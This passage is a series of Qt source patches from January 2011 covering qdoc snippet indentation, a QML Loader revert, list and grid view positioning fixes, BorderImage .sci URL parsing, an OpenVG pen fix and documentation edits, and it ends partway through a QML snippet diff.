From 425a718facbb2b4a8f9919516b98257ef98c6182 Mon Sep 17 00:00:00 2001
From: David Boddie 
Date: Thu, 20 Jan 2011 18:40:52 +0100
Subject: Allowed the indentation of marked up code to be customized.

Marked up code is indented according to its indentation relative to
the snippet markers (//! for example) in the quoted source code.
---
 tools/qdoc3/quoter.cpp | 20 ++++++++++++++------
 tools/qdoc3/quoter.h   |  5 +++--
 2 files changed, 17 insertions(+), 8 deletions(-)

diff --git a/tools/qdoc3/quoter.cpp b/tools/qdoc3/quoter.cpp
index 8e08e9a..b82b760 100644
--- a/tools/qdoc3/quoter.cpp
+++ b/tools/qdoc3/quoter.cpp
@@ -221,10 +221,13 @@ QString Quoter::quoteSnippet(const Location &docLocation, const QString &identif
     QString comment = commentForCode();
     QString delimiter = comment + QString(" [%1]").arg(identifier);
     QString t;
+    int indent = 0;
 
     while (!plainLines.isEmpty()) {
         if (match(docLocation, delimiter, plainLines.first())) {
-            getLine();
+            QString startLine = getLine();
+            while (indent < startLine.length() && startLine[indent] == QLatin1Char(' '))
+                indent++;
             break;
         }
         getLine();
@@ -232,7 +235,7 @@ QString Quoter::quoteSnippet(const Location &docLocation, const QString &identif
     while (!plainLines.isEmpty()) {
         QString line = plainLines.first();
         if (match(docLocation, delimiter, line)) {
-            QString lastLine = getLine();
+            QString lastLine = getLine(indent);
             int dIndex = lastLine.indexOf(delimiter);
             if (dIndex > 0) {
                 // The delimiter might be preceded on the line by other
@@ -249,7 +252,7 @@ QString Quoter::quoteSnippet(const Location &docLocation, const QString &identif
             return t;
         }
 
-        t += removeSpecialLines(line, comment);
+        t += removeSpecialLines(line, comment, indent);
     }
     failedAtEnd(docLocation, QString("snippet (%1)").arg(delimiter));
     return t;
@@ -286,7 +289,7 @@ QString Quoter::quoteUntil( const Location& docLocation, const QString& command,
     return t;
 }
 
-QString Quoter::getLine()
+QString Quoter::getLine(int unindent)
 {
     if ( plainLines.isEmpty() )
         return QString();
@@ -294,6 +297,11 @@ QString Quoter::getLine()
     plainLines.removeFirst();
 
     QString t = markedLines.takeFirst();
+    int i = 0;
+    while (i < unindent && i < t.length() && t[i] == QLatin1Char(' '))
+        i++;
+
+    t = t.mid(i);
     t += QLatin1Char('\n');
     codeLocation.advanceLines( t.count( QLatin1Char('\n') ) );
     return t;
@@ -342,7 +350,7 @@ QString Quoter::commentForCode() const
     return commentHash.value(suffix, "//!");
 }
 
-QString Quoter::removeSpecialLines(const QString &line, const QString &comment)
+QString Quoter::removeSpecialLines(const QString &line, const QString &comment, int unindent)
 {
     QString t;
 
@@ -355,7 +363,7 @@ QString Quoter::removeSpecialLines(const QString &line, const QString &comment)
         t += QLatin1Char('\n');
     } else if (!trimmed.startsWith(comment)) {
         // Ordinary code
-        t += getLine();
+        t += getLine(unindent);
     } else {
         // Comments
         if (line.contains(QLatin1Char('\n')))
diff --git a/tools/qdoc3/quoter.h b/tools/qdoc3/quoter.h
index e1728d1..5ce38ef 100644
--- a/tools/qdoc3/quoter.h
+++ b/tools/qdoc3/quoter.h
@@ -70,12 +70,13 @@ public:
     QString quoteSnippet(const Location &docLocation, const QString &identifier);
 
 private:
-    QString getLine();
+    QString getLine(int unindent = 0);
     void failedAtEnd( const Location& docLocation, const QString& command );
     bool match( const Location& docLocation, const QString& pattern,
     		const QString& line );
     QString commentForCode() const;
-    QString removeSpecialLines(const QString &line, const QString &comment);
+    QString removeSpecialLines(const QString &line, const QString &comment,
+                               int unindent = 0);
 
     bool silent; 
     bool validRegExp;
-- 
cgit v0.12


From 8c3086aa36b51a9731fce8eb8146b33ab8196aed Mon Sep 17 00:00:00 2001
From: Bea Lam 
Date: Fri, 21 Jan 2011 11:39:28 +1000
Subject: Revert "Fix loaded() signal to be emitted only once"

This reverts commit 82ff3f484c7ec49e60b7fddf23794937974a6768.

QTBUG-16796 reports that this commit is causing regressions
relating to initial sizing of items.

Task-number: QTBUG-16796
---
 .../graphicsitems/qdeclarativeloader.cpp           | 60 +++++++-------
 .../graphicsitems/qdeclarativeloader_p_p.h         |  2 -
 .../qdeclarativeloader/tst_qdeclarativeloader.cpp  | 94 +++++++++-------------
 3 files changed, 67 insertions(+), 89 deletions(-)

diff --git a/src/declarative/graphicsitems/qdeclarativeloader.cpp b/src/declarative/graphicsitems/qdeclarativeloader.cpp
index 86e438f..ded2be3 100644
--- a/src/declarative/graphicsitems/qdeclarativeloader.cpp
+++ b/src/declarative/graphicsitems/qdeclarativeloader.cpp
@@ -48,7 +48,7 @@
 QT_BEGIN_NAMESPACE
 
 QDeclarativeLoaderPrivate::QDeclarativeLoaderPrivate()
-    : item(0), component(0), ownComponent(false), isComponentComplete(false)
+    : item(0), component(0), ownComponent(false)
 {
 }
 
@@ -262,7 +262,6 @@ void QDeclarativeLoader::setSource(const QUrl &url)
     d->clear();
 
     d->source = url;
-
     if (d->source.isEmpty()) {
         emit sourceChanged();
         emit statusChanged();
@@ -273,9 +272,18 @@ void QDeclarativeLoader::setSource(const QUrl &url)
 
     d->component = new QDeclarativeComponent(qmlEngine(this), d->source, this);
     d->ownComponent = true;
-
-    if (d->isComponentComplete)
-        d->load();
+    if (!d->component->isLoading()) {
+        d->_q_sourceLoaded();
+    } else {
+        connect(d->component, SIGNAL(statusChanged(QDeclarativeComponent::Status)),
+                this, SLOT(_q_sourceLoaded()));
+        connect(d->component, SIGNAL(progressChanged(qreal)),
+                this, SIGNAL(progressChanged()));
+        emit statusChanged();
+        emit progressChanged();
+        emit sourceChanged();
+        emit itemChanged();
+    }
 }
 
 /*!
@@ -316,7 +324,6 @@ void QDeclarativeLoader::setSourceComponent(QDeclarativeComponent *comp)
 
     d->component = comp;
     d->ownComponent = false;
-
     if (!d->component) {
         emit sourceChanged();
         emit statusChanged();
@@ -325,8 +332,18 @@ void QDeclarativeLoader::setSourceComponent(QDeclarativeComponent *comp)
         return;
     }
 
-    if (d->isComponentComplete)
-        d->load();
+    if (!d->component->isLoading()) {
+        d->_q_sourceLoaded();
+    } else {
+        connect(d->component, SIGNAL(statusChanged(QDeclarativeComponent::Status)),
+                this, SLOT(_q_sourceLoaded()));
+        connect(d->component, SIGNAL(progressChanged(qreal)),
+                this, SIGNAL(progressChanged()));
+        emit progressChanged();
+        emit sourceChanged();
+        emit statusChanged();
+        emit itemChanged();
+    }
 }
 
 void QDeclarativeLoader::resetSourceComponent()
@@ -334,27 +351,6 @@ void QDeclarativeLoader::resetSourceComponent()
     setSourceComponent(0);
 }
 
-void QDeclarativeLoaderPrivate::load()
-{
-    Q_Q(QDeclarativeLoader);
-
-    if (!isComponentComplete || !component)
-        return;
-
-    if (!component->isLoading()) {
-        _q_sourceLoaded();
-    } else {
-        QObject::connect(component, SIGNAL(statusChanged(QDeclarativeComponent::Status)),
-                q, SLOT(_q_sourceLoaded()));
-        QObject::connect(component, SIGNAL(progressChanged(qreal)),
-                q, SIGNAL(progressChanged()));
-        emit q->statusChanged();
-        emit q->progressChanged();
-        emit q->sourceChanged();
-        emit q->itemChanged();
-    }
-}
-
 void QDeclarativeLoaderPrivate::_q_sourceLoaded()
 {
     Q_Q(QDeclarativeLoader);
@@ -469,11 +465,9 @@ QDeclarativeLoader::Status QDeclarativeLoader::status() const
 
 void QDeclarativeLoader::componentComplete()
 {
-    Q_D(QDeclarativeLoader);
-
     QDeclarativeItem::componentComplete();
-    d->isComponentComplete = true;
-    d->load();
+    if (status() == Ready)
+        emit loaded();
 }
 
 
diff --git a/src/declarative/graphicsitems/qdeclarativeloader_p_p.h b/src/declarative/graphicsitems/qdeclarativeloader_p_p.h
index 81ca66d..45ab595 100644
--- a/src/declarative/graphicsitems/qdeclarativeloader_p_p.h
+++ b/src/declarative/graphicsitems/qdeclarativeloader_p_p.h
@@ -72,13 +72,11 @@ public:
     void itemGeometryChanged(QDeclarativeItem *item, const QRectF &newGeometry, const QRectF &oldGeometry);
     void clear();
     void initResize();
-    void load();
 
     QUrl source;
     QGraphicsObject *item;
     QDeclarativeComponent *component;
     bool ownComponent : 1;
-    bool isComponentComplete : 1;
 
     void _q_sourceLoaded();
     void _q_updateSize(bool loaderGeometryChanged = true);
diff --git a/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp b/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp
index 358822e..bfa81ed 100644
--- a/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp
+++ b/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp
@@ -69,8 +69,9 @@ public:
     tst_QDeclarativeLoader();
 
 private slots:
-    void sourceOrComponent();
-    void sourceOrComponent_data();
+    void url();
+    void invalidUrl();
+    void component();
     void clear();
     void urlToComponent();
     void componentToUrl();
@@ -99,71 +100,56 @@ tst_QDeclarativeLoader::tst_QDeclarativeLoader()
 {
 }
 
-void tst_QDeclarativeLoader::sourceOrComponent()
+void tst_QDeclarativeLoader::url()
 {
-    QFETCH(QString, sourceDefinition);
-    QFETCH(QUrl, sourceUrl);
-    QFETCH(QString, errorString);
-
-    bool error = !errorString.isEmpty();
-    if (error)
-        QTest::ignoreMessage(QtWarningMsg, errorString.toUtf8().constData());
-
     QDeclarativeComponent component(&engine);
-    component.setData(QByteArray(
-            "import QtQuick 1.0\n"
-            "Loader {\n"
-            "   property int onItemChangedCount: 0\n"
-            "   property int onSourceChangedCount: 0\n"
-            "   property int onStatusChangedCount: 0\n"
-            "   property int onProgressChangedCount: 0\n"
-            "   property int onLoadedCount: 0\n")
-            + sourceDefinition.toUtf8()
-            + QByteArray(
-            "   onItemChanged: onItemChangedCount += 1\n"
-            "   onSourceChanged: onSourceChangedCount += 1\n"
-            "   onStatusChanged: onStatusChangedCount += 1\n"
-            "   onProgressChanged: onProgressChangedCount += 1\n"
-            "   onLoaded: onLoadedCount += 1\n"
-            "}")
-        , TEST_FILE(""));
-
+    component.setData(QByteArray("import QtQuick 1.0\nLoader { property int did_load: 0; onLoaded: did_load=123; source: \"Rect120x60.qml\" }"), TEST_FILE(""));
     QDeclarativeLoader *loader = qobject_cast(component.create());
     QVERIFY(loader != 0);
-    QCOMPARE(loader->item() == 0, error);
-    QCOMPARE(loader->source(), sourceUrl);
+    QVERIFY(loader->item());
+    QVERIFY(loader->source() == QUrl::fromLocalFile(SRCDIR "/data/Rect120x60.qml"));
     QCOMPARE(loader->progress(), 1.0);
+    QCOMPARE(loader->status(), QDeclarativeLoader::Ready);
+    QCOMPARE(loader->property("did_load").toInt(), 123);
+    QCOMPARE(static_cast(loader)->children().count(), 1);
 
-    QCOMPARE(loader->status(), error ? QDeclarativeLoader::Error : QDeclarativeLoader::Ready);
-    QCOMPARE(static_cast(loader)->children().count(), error ? 0: 1);
+    delete loader;
+}
 
-    if (!error) {
-        QDeclarativeComponent *c = qobject_cast(loader->QGraphicsObject::children().at(0));
-        QVERIFY(c);
-        QCOMPARE(loader->sourceComponent(), c);
-    }
+void tst_QDeclarativeLoader::component()
+{
+    QDeclarativeComponent component(&engine, TEST_FILE("/SetSourceComponent.qml"));
+    QDeclarativeItem *item = qobject_cast(component.create());
+    QVERIFY(item);
 
-    QCOMPARE(loader->property("onSourceChangedCount").toInt(), 1);
-    QCOMPARE(loader->property("onStatusChangedCount").toInt(), 1);
-    QCOMPARE(loader->property("onProgressChangedCount").toInt(), 1);
+    QDeclarativeLoader *loader = qobject_cast(item->QGraphicsObject::children().at(1)); 
+    QVERIFY(loader);
+    QVERIFY(loader->item());
+    QCOMPARE(loader->progress(), 1.0);
+    QCOMPARE(loader->status(), QDeclarativeLoader::Ready);
+    QCOMPARE(static_cast(loader)->children().count(), 1);
 
-    QCOMPARE(loader->property("onItemChangedCount").toInt(), error ? 0 : 1);
-    QCOMPARE(loader->property("onLoadedCount").toInt(), error ? 0 : 1);
+    QDeclarativeComponent *c = qobject_cast(item->QGraphicsObject::children().at(0));
+    QVERIFY(c);
+    QCOMPARE(loader->sourceComponent(), c);
 
-    delete loader;
+    delete item;
 }
 
-void tst_QDeclarativeLoader::sourceOrComponent_data()
+void tst_QDeclarativeLoader::invalidUrl()
 {
-    QTest::addColumn("sourceDefinition");
-    QTest::addColumn("sourceUrl");
-    QTest::addColumn("errorString");
+    QTest::ignoreMessage(QtWarningMsg, QString(QUrl::fromLocalFile(SRCDIR "/data/IDontExist.qml").toString() + ": File not found").toUtf8().constData());
 
-    QTest::newRow("source") << "source: 'Rect120x60.qml'\n" << QUrl::fromLocalFile(SRCDIR "/data/Rect120x60.qml") << "";
-    QTest::newRow("sourceComponent") << "Component { id: comp; Rectangle { width: 100; height: 50 } }\n sourceComponent: comp\n" << QUrl() << "";
+    QDeclarativeComponent component(&engine);
+    component.setData(QByteArray("import QtQuick 1.0\nLoader { source: \"IDontExist.qml\" }"), TEST_FILE(""));
+    QDeclarativeLoader *loader = qobject_cast(component.create());
+    QVERIFY(loader != 0);
+    QVERIFY(loader->item() == 0);
+    QCOMPARE(loader->progress(), 1.0);
+    QCOMPARE(loader->status(), QDeclarativeLoader::Error);
+    QCOMPARE(static_cast(loader)->children().count(), 0);
 
-    QTest::newRow("invalid source") << "source: 'IDontExist.qml'\n" << QUrl::fromLocalFile(SRCDIR "/data/IDontExist.qml")
-            << QString(QUrl::fromLocalFile(SRCDIR "/data/IDontExist.qml").toString() + ": File not found");
+    delete loader;
 }
 
 void tst_QDeclarativeLoader::clear()
@@ -460,7 +446,7 @@ void tst_QDeclarativeLoader::networkRequestUrl()
     server.serveDirectory(SRCDIR "/data");
 
     QDeclarativeComponent component(&engine);
-    component.setData(QByteArray("import QtQuick 1.0\nLoader { property int signalCount : 0; source: \"http://127.0.0.1:14450/Rect120x60.qml\"; onLoaded: signalCount += 1 }"), QUrl::fromLocalFile(SRCDIR "/dummy.qml"));
+    component.setData(QByteArray("import QtQuick 1.0\nLoader { property int did_load : 0; source: \"http://127.0.0.1:14450/Rect120x60.qml\"; onLoaded: did_load=123 }"), QUrl::fromLocalFile(SRCDIR "/dummy.qml"));
     if (component.isError())
         qDebug() << component.errors();
     QDeclarativeLoader *loader = qobject_cast(component.create());
@@ -470,7 +456,7 @@ void tst_QDeclarativeLoader::networkRequestUrl()
 
     QVERIFY(loader->item());
     QCOMPARE(loader->progress(), 1.0);
-    QCOMPARE(loader->property("signalCount").toInt(), 1);
+    QCOMPARE(loader->property("did_load").toInt(), 123);
     QCOMPARE(static_cast(loader)->children().count(), 1);
 
     delete loader;
-- 
cgit v0.12


From c3dd455b03a6c03011e2446f69fc262230e91639 Mon Sep 17 00:00:00 2001
From: Martin Jones 
Date: Fri, 21 Jan 2011 15:03:35 +1000
Subject: positionViewAtIndex can fail when positioned near end of list.

We positioned the view beyond the bounds, which in some cases resulted
in only one item being created.  Combined with a bug in the bounds
fixup very many items were created.

Task-number: QT-4441
Reviewed-by: Michael Brasser
---
 src/declarative/graphicsitems/qdeclarativeflickable.cpp     |  2 +-
 src/declarative/graphicsitems/qdeclarativegridview.cpp      |  4 ++--
 src/declarative/graphicsitems/qdeclarativelistview.cpp      |  4 ++--
 .../qdeclarativelistview/tst_qdeclarativelistview.cpp       | 13 +++++++++++++
 4 files changed, 18 insertions(+), 5 deletions(-)

diff --git a/src/declarative/graphicsitems/qdeclarativeflickable.cpp b/src/declarative/graphicsitems/qdeclarativeflickable.cpp
index 4aaec38..dc7536e 100644
--- a/src/declarative/graphicsitems/qdeclarativeflickable.cpp
+++ b/src/declarative/graphicsitems/qdeclarativeflickable.cpp
@@ -299,7 +299,7 @@ void QDeclarativeFlickablePrivate::fixup(AxisData &data, qreal minExtent, qreal
             timeline.move(data.move, maxExtent - dist/2, QEasingCurve(QEasingCurve::InQuad), fixupDuration/4);
             timeline.move(data.move, maxExtent, QEasingCurve(QEasingCurve::OutExpo), 3*fixupDuration/4);
         } else {
-            timeline.set(data.move, minExtent);
+            timeline.set(data.move, maxExtent);
         }
     }
     vTime = timeline.time();
diff --git a/src/declarative/graphicsitems/qdeclarativegridview.cpp b/src/declarative/graphicsitems/qdeclarativegridview.cpp
index 89d7493..4c04a6b 100644
--- a/src/declarative/graphicsitems/qdeclarativegridview.cpp
+++ b/src/declarative/graphicsitems/qdeclarativegridview.cpp
@@ -2165,6 +2165,7 @@ void QDeclarativeGridView::positionViewAtIndex(int index, int mode)
     if (d->layoutScheduled)
         d->layout();
     qreal pos = d->position();
+    qreal maxExtent = d->flow == QDeclarativeGridView::LeftToRight ? -maxYExtent() : -maxXExtent();
     FxGridItem *item = d->visibleItem(index);
     if (!item) {
         int itemPos = d->rowPosAt(index);
@@ -2172,7 +2173,7 @@ void QDeclarativeGridView::positionViewAtIndex(int index, int mode)
         QList oldVisible = d->visibleItems;
         d->visibleItems.clear();
         d->visibleIndex = index - index % d->columns;
-        d->setPosition(itemPos);
+        d->setPosition(qMin(qreal(itemPos), maxExtent));
         // now release the reference to all the old visible items.
         for (int i = 0; i < oldVisible.count(); ++i)
             d->releaseItem(oldVisible.at(i));
@@ -2202,7 +2203,6 @@ void QDeclarativeGridView::positionViewAtIndex(int index, int mode)
             if (itemPos < pos)
                 pos = itemPos;
         }
-        qreal maxExtent = d->flow == QDeclarativeGridView::LeftToRight ? -maxYExtent() : -maxXExtent();
         pos = qMin(pos, maxExtent);
         qreal minExtent = d->flow == QDeclarativeGridView::LeftToRight ? -minYExtent() : -minXExtent();
         pos = qMax(pos, minExtent);
diff --git a/src/declarative/graphicsitems/qdeclarativelistview.cpp b/src/declarative/graphicsitems/qdeclarativelistview.cpp
index b4fd571..b4b3fa7 100644
--- a/src/declarative/graphicsitems/qdeclarativelistview.cpp
+++ b/src/declarative/graphicsitems/qdeclarativelistview.cpp
@@ -2603,6 +2603,7 @@ void QDeclarativeListView::positionViewAtIndex(int index, int mode)
         d->layout();
     qreal pos = d->position();
     FxListItem *item = d->visibleItem(index);
+    qreal maxExtent = d->orient == QDeclarativeListView::Vertical ? -maxYExtent() : -maxXExtent();
     if (!item) {
         int itemPos = d->positionAt(index);
         // save the currently visible items in case any of them end up visible again
@@ -2610,7 +2611,7 @@ void QDeclarativeListView::positionViewAtIndex(int index, int mode)
         d->visibleItems.clear();
         d->visiblePos = itemPos;
         d->visibleIndex = index;
-        d->setPosition(itemPos);
+        d->setPosition(qMin(qreal(itemPos), maxExtent));
         // now release the reference to all the old visible items.
         for (int i = 0; i < oldVisible.count(); ++i)
             d->releaseItem(oldVisible.at(i));
@@ -2640,7 +2641,6 @@ void QDeclarativeListView::positionViewAtIndex(int index, int mode)
             if (itemPos < pos)
                 pos = itemPos;
         }
-        qreal maxExtent = d->orient == QDeclarativeListView::Vertical ? -maxYExtent() : -maxXExtent();
         pos = qMin(pos, maxExtent);
         qreal minExtent = d->orient == QDeclarativeListView::Vertical ? -minYExtent() : -minXExtent();
         pos = qMax(pos, minExtent);
diff --git a/tests/auto/declarative/qdeclarativelistview/tst_qdeclarativelistview.cpp b/tests/auto/declarative/qdeclarativelistview/tst_qdeclarativelistview.cpp
index b343010..9b6f04c 100644
--- a/tests/auto/declarative/qdeclarativelistview/tst_qdeclarativelistview.cpp
+++ b/tests/auto/declarative/qdeclarativelistview/tst_qdeclarativelistview.cpp
@@ -1329,6 +1329,19 @@ void tst_QDeclarativeListView::positionViewAtIndex()
         QTRY_COMPARE(item->y(), i*20.);
     }
 
+    // Position at End using last index
+    listview->positionViewAtIndex(model.count()-1, QDeclarativeListView::End);
+    QTRY_COMPARE(listview->contentY(), 480.);
+
+    // Confirm items positioned correctly
+    itemCount = findItems(contentItem, "wrapper").count();
+    for (int i = 24; i < model.count(); ++i) {
+        QDeclarativeItem *item = findItem(contentItem, "wrapper", i);
+        if (!item) qWarning() << "Item" << i << "not found";
+        QTRY_VERIFY(item);
+        QTRY_COMPARE(item->y(), i*20.);
+    }
+
     // Position at End
     listview->positionViewAtIndex(20, QDeclarativeListView::End);
     QTRY_COMPARE(listview->contentY(), 100.);
-- 
cgit v0.12


From 7ddec9f3179bfd854ae53e23ab292de1f9a26377 Mon Sep 17 00:00:00 2001
From: Martin Jones 
Date: Fri, 21 Jan 2011 15:38:15 +1000
Subject: BorderImage fails for .sci source containing a URL

Task-number: QTBUG-16769
Reviewed-by: Bea Lam
---
 src/declarative/graphicsitems/qdeclarativescalegrid.cpp        | 10 +++++-----
 .../qdeclarativeborderimage/data/colors-round-remote.sci       |  7 +++++++
 .../qdeclarativeborderimage/tst_qdeclarativeborderimage.cpp    |  1 +
 3 files changed, 13 insertions(+), 5 deletions(-)
 create mode 100644 tests/auto/declarative/qdeclarativeborderimage/data/colors-round-remote.sci

diff --git a/src/declarative/graphicsitems/qdeclarativescalegrid.cpp b/src/declarative/graphicsitems/qdeclarativescalegrid.cpp
index 804e91d..3ad0da6 100644
--- a/src/declarative/graphicsitems/qdeclarativescalegrid.cpp
+++ b/src/declarative/graphicsitems/qdeclarativescalegrid.cpp
@@ -136,12 +136,12 @@ QDeclarativeGridScaledImage::QDeclarativeGridScaledImage(QIODevice *data)
         if (line.isEmpty() || line.startsWith(QLatin1Char('#')))
             continue;
 
-        QStringList list = line.split(QLatin1Char(':'));
-        if (list.count() != 2)
+        int colonId = line.indexOf(QLatin1Char(':'));
+        if (colonId <= 0)
             return;
-
-        list[0] = list[0].trimmed();
-        list[1] = list[1].trimmed();
+        QStringList list;
+        list.append(line.left(colonId).trimmed());
+        list.append(line.mid(colonId+1).trimmed());
 
         if (list[0] == QLatin1String("border.left"))
             l = list[1].toInt();
diff --git a/tests/auto/declarative/qdeclarativeborderimage/data/colors-round-remote.sci b/tests/auto/declarative/qdeclarativeborderimage/data/colors-round-remote.sci
new file mode 100644
index 0000000..c673bed
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeborderimage/data/colors-round-remote.sci
@@ -0,0 +1,7 @@
+border.left:10
+border.top:20
+border.right:30
+border.bottom:40
+horizontalTileRule:Round
+verticalTileRule:Repeat
+source:http://127.0.0.1:14446/colors.png
diff --git a/tests/auto/declarative/qdeclarativeborderimage/tst_qdeclarativeborderimage.cpp b/tests/auto/declarative/qdeclarativeborderimage/tst_qdeclarativeborderimage.cpp
index e6543e6..bc2f170 100644
--- a/tests/auto/declarative/qdeclarativeborderimage/tst_qdeclarativeborderimage.cpp
+++ b/tests/auto/declarative/qdeclarativeborderimage/tst_qdeclarativeborderimage.cpp
@@ -294,6 +294,7 @@ void tst_qdeclarativeborderimage::sciSource_data()
     QTest::newRow("local") << QUrl::fromLocalFile(SRCDIR "/data/colors-round.sci").toString() << true;
     QTest::newRow("local not found") << QUrl::fromLocalFile(SRCDIR "/data/no-such-file.sci").toString() << false;
     QTest::newRow("remote") << SERVER_ADDR "/colors-round.sci" << true;
+    QTest::newRow("remote image") << SERVER_ADDR "/colors-round-remote.sci" << true;
     QTest::newRow("remote not found") << SERVER_ADDR "/no-such-file.sci" << false;
 }
 
-- 
cgit v0.12


From 5bd4db40eb545c0e5ff121876630ae8b952e957d Mon Sep 17 00:00:00 2001
From: Jani Hautakangas 
Date: Fri, 21 Jan 2011 13:37:46 +0100
Subject: Fix to pen state handling in OpenVG paint engine.

Shape should not be filled using pen if pen brush
type is NoBrush. OpenVG paint engine didn't check
NoBrush case when applying pen.

Task-number: QTBUG-15870
Reviewed-by: Gunnar
---
 src/openvg/qpaintengine_vg.cpp | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/src/openvg/qpaintengine_vg.cpp b/src/openvg/qpaintengine_vg.cpp
index b90811d..a15f0c3 100644
--- a/src/openvg/qpaintengine_vg.cpp
+++ b/src/openvg/qpaintengine_vg.cpp
@@ -1472,7 +1472,7 @@ void QVGPaintEnginePrivate::draw
     (VGPath path, const QPen& pen, const QBrush& brush, VGint rule)
 {
     VGbitfield mode = 0;
-    if (pen.style() != Qt::NoPen) {
+    if (qpen_style(pen) != Qt::NoPen && qbrush_style(qpen_brush(pen)) != Qt::NoBrush) {
         ensurePen(pen);
         mode |= VG_STROKE_PATH;
     }
-- 
cgit v0.12


From 2d5d354068e18de999c0316c2356726f9fe69fca Mon Sep 17 00:00:00 2001
From: David Boddie 
Date: Fri, 21 Jan 2011 14:24:40 +0100
Subject: Doc: Updated the qdoc manual.

---
 tools/qdoc3/doc/qdoc-manual.qdoc | 33 +++++++++++++++++++++------------
 1 file changed, 21 insertions(+), 12 deletions(-)

diff --git a/tools/qdoc3/doc/qdoc-manual.qdoc b/tools/qdoc3/doc/qdoc-manual.qdoc
index b557ad9..5b908d2 100644
--- a/tools/qdoc3/doc/qdoc-manual.qdoc
+++ b/tools/qdoc3/doc/qdoc-manual.qdoc
@@ -7804,20 +7804,14 @@
            about this process.
 
     \row
-        \o \bold slow \target slow
-        \o \bold {The \c slow variable specifies whether QDoc should do
-           time-consuming processing, such as syntax highlighting.}
+        \o \bold slow (removed) \target slow
+        \o \bold {The \c slow variable previously specified whether QDoc should
+           do time-consuming processing, such as syntax highlighting.}
 
-           By default, this setting is false.
+           This option has been replaced by the \l{syntaxhighlighing} option.
 
-           Example:
-
-           \code
-               slow = true
-           \endcode
-
-           Another way to turn on "slowness" is to invoke QDoc with the
-           \c -slow command-line option.
+           For compatibility, the \c -slow command-line option has been
+           retained. This has the effect of enabling syntax highlighting.
 
     \row
         \o \bold sourcedirs \target sourcedirs
@@ -7957,6 +7951,21 @@
            \endcode
 
     \row
+        \o \bold syntaxhighlighting \target syntaxhighlighting
+        \o \bold{The \c syntaxhighlighting variable specifies whether QDoc
+           should perform syntax highlighting on source code quoted in the
+           documentation it output.}
+
+           For example:
+
+           \code
+           syntaxhighlighting = true
+           \endcode
+
+           will enable syntax highlighting for all supported programming
+           languages.
+
+    \row
         \o \bold tabsize \target tabsize
         \o \bold {The \c tabsize variable defines the size of a tab
            character.}
-- 
cgit v0.12


From 84a1df764bf2e29e9e6e43f4f0e1a69201199fbc Mon Sep 17 00:00:00 2001
From: David Boddie 
Date: Fri, 21 Jan 2011 16:10:54 +0100
Subject: Doc: Fixed the syntax of QML code snippets.

---
 doc/src/declarative/qdeclarativestates.qdoc        |  37 +++----
 .../snippets/declarative/mousearea/mousearea.qml   | 116 ++++++++++-----------
 doc/src/snippets/declarative/propertyanimation.qml |  24 ++---
 .../graphicsitems/qdeclarativepathview.cpp         |  14 +--
 src/declarative/util/qdeclarativeanimation.cpp     |   4 +-
 src/declarative/util/qdeclarativeconnections.cpp   |   6 +-
 6 files changed, 98 insertions(+), 103 deletions(-)

diff --git a/doc/src/declarative/qdeclarativestates.qdoc b/doc/src/declarative/qdeclarativestates.qdoc
index b663d43..69b348b 100644
--- a/doc/src/declarative/qdeclarativestates.qdoc
+++ b/doc/src/declarative/qdeclarativestates.qdoc
@@ -71,7 +71,7 @@ of an item, set the \l {Item::}{state} property to the name of the state.
 Non-Item objects can use states through the StateGroup element.
 
 
-\section1 Creating states
+\section1 Creating States
 
 To create a state, add a \l State object to the item's \l {Item::}{states} property,
 which holds a list of states for that item.
@@ -91,7 +91,7 @@ objects, not just the object that owns the state. For example:
 
 \qml
 Rectangle {
-    ...
+    // ...
     states: [
         State {
             name: "moved"
@@ -106,14 +106,7 @@ As a convenience, if an item only has one state, its \l {Item::}{states}
 property can be defined as a single \l State, without the square-brace list
 syntax:
 
-\qml
-Item {
-    ...
-    states: State {
-        ...
-    }
-}
-\endqml
+\snippet doc/src/snippets/declarative/propertyanimation.qml single state
 
 A \l State is not limited to performing modifications on property values. It 
 can also:
@@ -130,7 +123,7 @@ demonstrates how to declare a basic set of states and apply animated
 transitions between them.
 
 
-\section1 The default state
+\section1 The Default State
 
 Of course, the \l Rectangle in the example above could have simply been moved
 by setting its position to (50, 50) in the mouse area's \c onClicked handler.
@@ -146,7 +139,7 @@ like this:
 
 \qml 
 Rectangle {
-    ...
+    // ...
 
     MouseArea {
         id: mouseArea
@@ -154,8 +147,9 @@ Rectangle {
     }
 
     states: State {
-        name: "moved"; when: mouseArea.pressed
-        ...
+        name: "moved"
+        when: mouseArea.pressed
+        // ...
     }
 }
 \endqml 
@@ -171,7 +165,7 @@ using the \l {State::}{when} property, the above code could be changed to:
 
 \qml 
 Rectangle {
-    ...
+    // ...
 
     MouseArea {
         anchors.fill: parent
@@ -181,7 +175,7 @@ Rectangle {
 
     states: State {
         name: "moved"
-        ...
+        // ...
     }
 }
 \endqml 
@@ -191,7 +185,7 @@ as it provides a simpler (and a better, more declarative) solution than
 assigning the state from signal handlers.
 
 
-\section1 Animating state changes
+\section1 Animating State Changes
 
 
 State changes can be easily animated through \l {Transitions}{transitions}. A
@@ -203,12 +197,14 @@ movement of the \l Rectangle would be animated:
 
 \qml
 Rectangle {
-    ...
+    // ...
 
-    MouseArea { ... }
+    MouseArea {
+        // Handle mouse events...
+    }
 
     states: [
-       ...
+       // States are defined here...
     ]
      
     transitions: [
@@ -224,5 +220,4 @@ during a state change within this item, their values should be animated over 500
 milliseconds.
 
 See the \l Transitions documentation for more information.
-
 */
diff --git a/doc/src/snippets/declarative/mousearea/mousearea.qml b/doc/src/snippets/declarative/mousearea/mousearea.qml
index 7cd0a77..1dc0598 100644
--- a/doc/src/snippets/declarative/mousearea/mousearea.qml
+++ b/doc/src/snippets/declarative/mousearea/mousearea.qml
@@ -46,74 +46,72 @@ Rectangle {
     width: childrenRect.width
     height: childrenRect.height
 
-Row {
+    Row {
+        //! [intro]
+        Rectangle {
+            width: 100; height: 100
+            color: "green"
 
-//! [intro]
-Rectangle { 
-    width: 100; height: 100
-    color: "green"
-
-    MouseArea { 
-        anchors.fill: parent
-        onClicked: { parent.color = 'red' }
-    }
-}
-//! [intro]
+            MouseArea {
+                anchors.fill: parent
+                onClicked: { parent.color = 'red' }
+            }
+        }
+        //! [intro]
 
-//! [intro-extended]
-Rectangle {
-    width: 100; height: 100
-    color: "green"
+        //! [intro-extended]
